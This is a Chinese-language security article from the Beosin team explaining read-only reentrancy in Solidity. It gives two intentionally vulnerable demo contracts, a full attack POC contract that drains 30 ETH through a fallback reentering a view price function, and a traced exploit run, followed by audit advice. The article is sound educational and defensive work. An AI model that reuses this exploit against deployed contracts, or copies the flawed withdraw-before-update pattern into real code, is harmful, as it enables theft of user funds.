區塊鏈生態近期發生多起重入攻擊事件,這些攻擊事件並不像之前認識的重入漏洞,而是在項目存在重入鎖的情況下發生的只讀重入攻擊。今天的安全審計必備知識,Beosin 安全研究團隊將為大家講解什麼是「只讀重入攻擊」。
(前情提要:盜取加密資產「又歸還」成趨勢?一窺項目方如何與駭客鏈上談判)
(背景補充:觀點》幣圈兩大毒瘤:北韓駭客和美國SEC主席)
近期,區塊鏈生態中發生了多起 重入攻擊事件, 這些攻擊事件並不像我們之前認識的重入漏洞,而是在專案 存在重入鎖的情況下發生的只讀重入攻擊。
今天的安全審計必備知識,Beosin 安全研究團隊將為大家講解什麼是「只讀重入攻擊」。
哪些情況會導致重入漏洞風險?
在 Solidity 智慧合約程式設計過程中,允許一個智慧合約呼叫另一個智慧合約的程式碼。在很多專案的業務設計中,需要給某個地址傳送 ETH,但如果 ETH 接收地址是智慧合約的話,會呼叫智慧合約的 fallback 函式。 如果惡意使用者在合約的 fallback 函式中寫入精心設計的程式碼,就可能存在重入漏洞的風險。
攻擊者可以在惡意合約的 fallback 函式中重新發起對專案合約的呼叫,此時第一次呼叫過程還沒結束,部分變數還未更改,這種情況下進行第二次呼叫,會導致專案合約使用異常的變數進行相關計算或者使得攻擊者可以繞過一些檢查限制。
換而言之,重入漏洞的根本在於執行轉帳後並呼叫目標合約的某個介面,並且帳本的改變在呼叫目標合約之後導致檢查被繞過,也就是沒嚴格按照檢查 – 生效 – 互動模式設計。因此除了以太坊轉帳會導致重入漏洞,一些設計不當也會導致重入攻擊,例如以下示例:
1、呼叫可控的外部函式會導致可重入可能
2、ERC721/1155 安全相關函式會導致重入可能
目前重入攻擊是一個常見的漏洞,大部分割槽塊鏈專案開發人員也能意識到重入攻擊的危害,專案中基本都設定了重入鎖,使得在呼叫某個擁有重入鎖的函式過程中,無法再次呼叫擁有同樣重入鎖的任何函式。 雖然重入鎖可以有效的防止上述的重入攻擊,但是還有一種叫做「只讀型重入」的攻擊方式卻難以防範。
難以防範的「只讀重入」是什麼?
上述我們介紹了常見重入型別,其核心在於重入之後使用異常的狀態計算新狀態,從而導致狀態更新異常。那如果我們呼叫的函式是 view 修飾的只讀型函式,函式中並不會有任何的狀態修改,該函式呼叫之後,並不會對本合約造成任何影響。所以,這類函式專案開發者都不會太在意其重入的風險,並不會為其新增重入鎖。
雖然重入 view 修飾的函式基本不會對本合約造成影響, 但是還有另外一種情況是某個合約會呼叫其他合約的 view 函式作為資料依賴,而該合約的 view 函式並未新增重入鎖,那麼則可能導致只讀重入的風險。
例如一個專案 A 合約中可以質押代幣和提取代幣,並且根據合約憑證代幣總量與質押總量提供查詢價格的功能,質押代幣與提取代幣之間存在重入鎖,查詢功能不存在重入鎖。現有另一個專案 B,提供質押提取的功能,質押與提取之間存在重入鎖,質押提取函式均依賴於專案 A 的價格查詢功能進行憑證代幣的計算。
上述兩個專案之間存在只讀重入風險,如下圖:
1、攻擊者在 ContractA 中質押並提取代幣。
2、提取代幣會呼叫到攻擊者合約 fallback 函式。
3、攻擊者在合約中再次呼叫 ContractB 中的質押函式。
4、質押函式會呼叫 ContractA 的價格計算函式,此時 ContractA 合約的狀態並未更新,導致計算價格錯誤,計算出更多的憑證代幣傳送給攻擊者。
5、重入結束後,ContractA 的狀態更新。
6、最後攻擊者呼叫 ContractB 提取代幣。
7、此時 ContractB 獲取的資料已經是更新的,能提取更多的代幣。
程式碼原理分析
我們以如下 demo 為例進行只讀重入問題的講解,下文僅僅是測試程式碼,無真實業務邏輯,只作為研究只讀重入的參考。
編寫 ContractA 合約:
pragma solidity ^0.8.21;
contract ContractA {
uint256 private _totalSupply;
uint256 private _allstake;
mapping (address => uint256) public _balances;
bool check=true;
/**
* 重入鎖。
**/
modifier noreentrancy(){
require(check);
check=false;
_;
check=true;
}
constructor(){
}
/**
* 根據合約憑證幣總量與質押量計算質押價值,10e8 為精度處理。
**/
function get_price() public view virtual returns (uint256) {
if(_totalSupply==0||_allstake==0) return 10e8;
return _totalSupply*10e8/_allstake;
}
/**
* 使用者質押,增加質押量並提供憑證幣。
**/
function deposit() public payable noreentrancy(){
uint256 mintamount=msg.value*get_price()/10e8;
_allstake+=msg.value;
_balances[msg.sender]+=mintamount;
_totalSupply+=mintamount;
}
/**
* 使用者提取,減少質押量並銷燬憑證幣總量。
**/
function withdraw(uint256 burnamount) public noreentrancy(){
uint256 sendamount=burnamount*10e8/get_price();
_allstake-=sendamount;
payable(msg.sender).call{value:sendamount}(“”);
_balances[msg.sender]-=burnamount;
_totalSupply-=burnamount;
}
}
部署 ContractA 合約並質押 50ETH,模擬專案已經處於執行狀態。
編寫 ContractB 合約(依賴 ContractA 合約 get_price 函式):
pragma solidity ^0.8.21;
interface ContractA {
function get_price() external view returns (uint256);
}
contract ContractB {
ContractA contract_a;
mapping (address => uint256) private _balances;
bool check=true;
modifier noreentrancy(){
require(check);
check=false;
_;
check=true;
}
constructor(){
}
function setcontracta(address addr) public {
contract_a = ContractA(addr);
}
/**
* 質押代幣,根據 ContractA 合約的 get_price () 來計算質押代幣的價值,計算出憑證代幣的數量
**/
function depositFunds() public payable noreentrancy(){
uint256 mintamount=msg.value*contract_a.get_price()/10e8;
_balances[msg.sender]+=mintamount;
}
/**
* 提取代幣,根據 ContractA 合約的 get_price () 來計算憑證代幣的價值,計算出提取代幣的數量
**/
function withdrawFunds(uint256 burnamount) public payable noreentrancy(){
_balances[msg.sender]-=burnamount;
uint256 amount=burnamount*10e8/contract_a.get_price();
msg.sender.call{value:amount}(“”);
}
function balanceof(address acount)public view returns (uint256){
return _balances[acount];
}
}
部署 ContractB 合約設定 ContractA 地址,並質押 30ETH,同樣模擬專案已經處於執行狀態。
編寫攻擊 POC 合約:
pragma solidity ^0.8.21;
interface ContractA {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
interface ContractB {
function depositFunds() external payable;
function withdrawFunds(uint256 amount) external;
function balanceof(address acount)external view returns (uint256);
}
contract POC {
ContractA contract_a;
ContractB contract_b;
address payable _owner;
uint flag=0;
uint256 depositamount=30 ether;
constructor() payable{
_owner=payable(msg.sender);
}
function setaddr(address _contracta,address _contractb) public {
contract_a=ContractA(_contracta);
contract_b=ContractB(_contractb);
}
/**
* 攻擊開始呼叫的函式,新增流動性、移除流動性、最後提取代幣。
**/
function start(uint256 amount)public {
contract_a.deposit{value:amount}();
contract_a.withdraw(amount);
contract_b.withdrawFunds(contract_b.balanceof(address(this)));
}
/**
* 重入中呼叫的質押函式。
**/
function deposit()internal {
contract_b.depositFunds{value:depositamount}();
}
/**
* 攻擊結束後,提取 ETH。
**/
function getEther() public {
_owner.transfer(address(this).balance);
}
/**
* 回撥函式,重入關鍵。
**/
fallback()payable external {
if(msg.sender==address(contract_a)){
deposit();
}
}
}
換一個 EOA 帳戶進行攻擊合約的部署轉入 50ETH,設定 ContractA 與 ContractB 地址。
向 start 函式中傳入 50000000000000000000 (50*10^18) 並執行,發現 ContractB 的 30ETH 被 POC 合約轉移走了。
再次呼叫 getEther 函式,攻擊者地址獲利 30ETH。
程式碼呼叫過程分析:
start 函式首先呼叫 ContractA 合約 deposit 函式抵押 ETH,攻擊者傳入 50*10^18,加上最開始合約擁有的 50*10^18,此時,_allstake 和_totalSupply 都是 100*10^18。
接下來呼叫 ContractA 合約 withdraw 函式提取代幣,合約會先更新_allstake,並將 50 個 ETH 傳送給攻擊合約,此時會呼叫到攻擊合約的 fallback 函式,最後再更新_totalSupply。
在 fallback 函式中攻擊合約呼叫 ContractB 合約質押 30 個 ETH,由於 get_price 為 view 函式,所以這裡 ContractB 合約成功重入了 ContractA 的 get_price 函式,此時由於還未更新_totalSupply,依舊為 100*10^18,但_allstake 已經減小到 50*10^18,所以這裡返回的值將擴大 2 倍。會給攻擊合約增加 60*10^18 的憑證幣。
重入結束後,攻擊合約呼叫 ContractB 合約提取 ETH,此時_totalSupply 已經更新成 50*10^18,將計算出與憑證幣相同數量的 ETH。給攻擊合約轉移了 60ETH。最終攻擊者獲利 30ETH。
Beosin 安全建議
對於上面的安全問題,Beosin 安全團隊建議: 對於需要依賴其他專案作為資料支撐的專案,應該嚴格檢查依賴專案與自身專案相結合後的業務邏輯安全性。在兩個專案單看均沒有問題的情況下,結合後便可能出現嚴重的安全問題。
📍相關報導📍
Curve 拆彈成功?官方開放「懸賞駭客」,提供證據獎金達185萬鎂